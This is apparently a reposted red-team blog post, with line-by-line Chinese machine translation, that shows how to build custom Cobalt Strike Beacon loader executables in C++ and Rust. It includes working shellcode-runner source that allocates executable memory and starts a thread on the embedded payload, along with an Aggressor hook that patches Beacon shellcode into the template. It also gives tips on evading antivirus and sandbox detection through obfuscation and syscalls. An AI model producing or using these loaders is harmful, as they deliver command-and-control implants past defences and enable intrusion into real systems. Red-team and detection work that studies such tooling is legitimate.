Custom Beacon Artifacts

If you’re an experienced Cobalt Strike user, you will already know what roll the artifact kit plays in customising its binary (executable and DLL) payload artifacts (artefacts for the British). If not, here’s a tl;dr:
如果您是经验丰富的 Cobalt Strike 用户,您已经知道工件套件在自定义其二进制(可执行和 DLL)有效载荷工件(英国人的工件)时起到了什么作用。如果没有,这里有一个 tl;博士:

Beacon is a reflective DLL that needs to be loaded into memory to run. When a payload gets generated in Cobalt Strike, the reflective Beacon package gets converted into position independent code and patched into a pre-built template. The artifact itself is only responsible for injecting this Beacon shellcode into memory and creating a new thread to run it. You can therefore just think of these as glorified shellcode runners. They all, with the exception of the service binary, inject the shellcode into themselves using a standard VirtualAlloc/VirtualProtect/CreateThread pattern.
Beacon 是一个反射式 DLL,需要加载到内存中才能运行。当在 Cobalt Strike 中生成有效载荷时,反射式 Beacon 包将转换为与位置无关的代码并修补到预构建的模板中。工件本身只负责将此 Beacon shellcode 注入内存并创建一个新线程来运行它。因此,您可以将它们视为美化的 shellcode 运行器。除了服务二进制文件之外,它们都使用标准的 VirtualAlloc / VirtualProtect / CreateThread 模式将 shellcode 注入到自己中。

The artifact kit contains the source code (written in C) for the regular executable, service executable, and DLL artifacts. It allows users to change and re-build these templates to bypass antivirus signatures and sandbox technologies. However, you can also wire in custom templates that are not built from this kit – even those written in a different language.
项目工具包包含常规可执行文件、服务可执行文件和 DLL 项目的源代码(用 C 语言编写)。它允许用户更改和重新构建这些模板,以绕过防病毒签名和沙盒技术。但是,您也可以连接不是从此工具包构建的自定义模板 – 甚至是用其他语言编写的模板。

This post will show how to write a simple x64 stageless executable artifact in C++ and Rust. This is not an exhaustive demonstration and should only be taken as a stepping-stone for a more complete solution.
这篇文章将展示如何在 C++ 和 Rust 中编写一个简单的 x64 无阶段可执行工件。这不是一个详尽的演示,只应被视为更完整解决方案的垫脚石。

A Simple C++ Example 一个简单的 C++ 示例

Before diving into Rust, I started with C++, based on the original C source code.
在深入研究 Rust 之前,我基于原始 C 源代码从 C++ 开始。

#include <iostream>
#include <Windows.h>

constexpr auto MIN_STAGE_5K_SIZE = 310272;

typedef struct {
	int  length;
	char shellcode[MIN_STAGE_5K_SIZE];
} Phear;

// pre-allocated memory
char data[sizeof(Phear)] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

int main()
{
	Phear* payload = nullptr;
	void*  ptr     = nullptr;
	HANDLE hThread = nullptr;

	payload = (Phear*)data;

	// printf debugging like a pro
	printf("Length: %d", payload->length);

	// allocate memory
	ptr = VirtualAlloc(
		0,
		payload->length,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);
	
	// copy shellcode into memory
	memcpy(ptr, payload->shellcode, payload->length);

	// create a new thread
	hThread = CreateThread(
		nullptr,
		0,
		(LPTHREAD_START_ROUTINE)ptr,
		nullptr,
		0,
		nullptr);

	// don't exit
	WaitForSingleObject(hThread, INFINITE);
}

On line 12, I am pre-allocating a char array to be as large as the Phear structure. The size of this array will be 310276 bytes in total – 4 bytes for the length and 310272 bytes for the shellcode. The shellcode won’t always be 310272 bytes, depending on the Malleable C2 profile in use, it may be smaller, so the length property is useful to have. The first 1024 bytes of the array are filled with A’s, which act like an egg hunter that we’ll need later.
在第 12 行,我预先分配了一个与 Phear 结构一样大的 char 数组。此数组的大小总共为 310276 个字节 – 长度为 4 个字节,shellcode 为 310272 个字节。shellcode 并不总是 310272 字节,具体取决于正在使用的可延展 C2 配置文件,它可能更小,因此 length 属性很有用。数组的前 1024 个字节填充了 A,它就像一个我们稍后需要的鸡蛋猎人。

This ends up in the .data section.
这最终出现在本节 .data 中。

Custom Beacon Artifacts

The rest of the code is self-explanatory. When building this executable, it’s helpful to specifically name it artifact64big.exe.
代码的其余部分是不言自明的。在构建此可执行文件时,专门命名它 artifact64big.exe 很有帮助。

EXECUTABLE_ARTIFACT_GENERATOR

The EXECUTABLE_ARTIFACT_GENERATOR Aggressor hook must be used to provide Cobalt Strike with a custom artifact template when a new payload is generated. Two arguments get passed to this function.
在生成新的有效载荷时,必须使用 EXECUTABLE_ARTIFACT_GENERATOR Aggressor 钩子为 Cobalt Strike 提供自定义工件模板。将两个参数传递给此函数。

$1 is the requested artifact file, which can be one of the following:
$1 是请求的项目文件,可以是以下文件之一:

  • artifact32.dll – x86 stager DLL.
    artifact32.dll – x86 stager DLL。
  • artifact32.exe – x86 stager EXE.
    artifact32.exe – x86 stager EXE。
  • artifact32big.dll – x86 stageless DLL.
    artifact32big.dll – x86 无阶段 DLL。
  • artifact32big.exe – x86 stageless EXE.
    artifact32big.exe – x86 无阶段 EXE。
  • artifact32svc.exe – x86 stager Service EXE.
    artifact32svc.exe – x86 stager 服务 EXE。
  • artifact32svcbig.exe – x86 stageless Service EXE.
    artifact32svcbig.exe – x86 无阶段服务 EXE。
  • artifact64.exe – x64 stager EXE.
  • artifact64.x64.dll – x64 stager DLL.
  • artifact64big.exe – x64 stageless EXE.
    artifact64big.exe – x64 无阶段 EXE。
  • artifact64big.x64.dll – x64 stageless DLL.
    artifact64big.x64.dll – x64 无阶段 DLL。
  • artifact64svc.exe – x64 stager Service EXE.
    artifact64svc.exe – x64 stager 服务 EXE。
  • artifact64svcbig.exe – x64 stageless Service EXE.
    artifact64svcbig.exe – x64 无阶段服务 EXE。

Using this naming convention with your custom artifacts makes it easier to grab the correct one.
将此命名约定与自定义工件结合使用,可以更轻松地获取正确的命名约定。

$2 is the Beacon shellcode to embed.
$2 是要嵌入的 Beacon shellcode。

The first step is to read the custom template from disk. If the path is not found, returning $null will tell Cobalt Strike to use the default template instead.
第一步是从磁盘读取自定义模板。如果未找到路径,返回 $null 将告诉 Cobalt Strike 改用默认模板。

set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$path $handle $template');
    
    # get matching artefact path
    $path = getFileProper("C:\\Artefacts", $1);

    # return null if we don't have a custom one
    if (!-exists $path) {
      println("Could not find custom " . $1);
      return $null;
   }

   # read in the template file
   $handle = openf($path);
   $template = readb($handle, -1);
   closef($handle);
}

Once the artifact has been read, the next step is to find the data array by searching for the A x 1024 placeholder.
读取项目后,下一步是通过搜索 A x 1024 占位符来查找 data 数组。

# get the location of data array
$index = indexOf($template, 'A' x 1024);
println("A's start @ " . $index);

Once found, we need to patch in the data according to the Phear struct. First, create a local buffer and write both the shellcode length, and the shellcode into it.
找到后,我们需要根据 Phear 结构对数据进行修补。首先,创建一个本地缓冲区,并将 shellcode 长度和 shellcode 都写入其中。

# local buffer
$buffer = allocate(1024);

# calculate length and pack into buffer
$length = strlen($2);
println("Shellcode length is " . $length);

writeb($buffer, pack("i-", $length));

# pack shellcode into buffer
for ($i = 0; $i < $length; $i++) {
    writeb($buffer, chr((byteAt($2, $i))));
}

The buffer should then be closed for writing and its content read back into a new variable.
然后,应关闭缓冲区以进行写入,并将其内容读回新变量。

# close buffer for writing
closef($buffer);

# read its content back
$b = readb($buffer, -1);

The final step is then to overwrite the data at $index (where the A’s start) with the content of $b.
最后一步是用 的内容覆盖 $index (A 开始的地方)的数据 $b 。

# return modified template
return replaceAt($template, $b, $index);

With any luck, a new Beacon will appear when executing the generated payload.
运气好的话, 在执行生成的有效载荷时会出现一个新的信标.

Custom Beacon Artifacts

Rust 

The process for getting this working in Rust is not all that different, you don’t even have to change the Aggressor code.
在 Rust 中让它工作的过程并没有那么不同,你甚至不必更改 Aggressor 代码。

use std::ffi::c_void;
use std::mem::{size_of, transmute};
use std::ptr::{copy, null, null_mut};
use windows_sys::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAlloc};
use windows_sys::Win32::System::Threading::{CreateThread, INFINITE, WaitForSingleObject};

const MIN_STAGE_5K_SIZE: usize = 310272;

#[repr(C)]
struct Phear {
    length: u32,
    payload: [u8; MIN_STAGE_5K_SIZE]
}

#[link_section = ".data"]
static DATA: [u8; size_of::<Phear>()] = [0x41; size_of::<Phear>()];

fn main() {
    unsafe {
        let phear = DATA.as_ptr() as *const Phear;

        let len = (*phear).length;
        let payload = (*phear).payload;

        println!("Length: {}", len);

        let ptr = VirtualAlloc(
            null(),
            len as usize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        copy(
            payload.as_ptr() as *const c_void,
            ptr,
            len as usize);

        let thread_handle = CreateThread(
            null(),
            0,
            Some(transmute(ptr)),
            null(),
            0,
            null_mut());

        WaitForSingleObject(thread_handle, INFINITE);
    }
}
Custom Beacon Artifacts

The default artifacts use XoR keys to obfuscate the Beacon shellcode, reducing the chance of getting detected on disk. However, you don’t have to stick to this paradigm at all. You can manipulate the shellcode in any way that Aggressor/Sleep/Java supports, as long as you can reverse it within the artifact. You can also customise the Phear struct and patch it any additional data needed, such as encryption keys.
默认工件使用 XoR 密钥来混淆 Beacon shellcode,从而减少在磁盘上被检测到的机会。但是,您根本不需要坚持这种范式。你可以用 Aggressor/Sleep/Java 支持的任何方式操作 shellcode,只要你能在工件中反转它。您还可以自定义结构并为 Phear 其修补所需的任何其他数据,例如加密密钥。

Another possibility is integrating the rustc toolchain to compile artifacts on the fly. This would make sense for dynamic keying/obfuscation, changing Win32 calls for syscalls, which APIs are used for memory allocation, and that sort of thing. There are also several ‘features’ that I left out here, such as Beacon’s bootstrap hint offsets.
另一种可能性是集成 rustc 工具链以动态编译工件。这对于动态键控/混淆、更改对系统调用的 Win32 调用、哪些 API 用于内存分配等都是有意义的。我在这里还遗漏了几个“功能”,例如 Beacon 的引导提示偏移。

I’m looking forward to the day someone releases a complete set of custom artifacts written in Rust or Zig Custom Beacon Artifacts
我期待着有一天有人发布一套用 Rust 或 Zig Custom Beacon Artifacts 编写的一整套自定义工件

原文始发于Rasta Mouse:Custom Beacon Artifacts

版权声明:admin 发表于 2024年5月9日 上午7:26。
转载请注明:Custom Beacon Artifacts | CTF导航

相关文章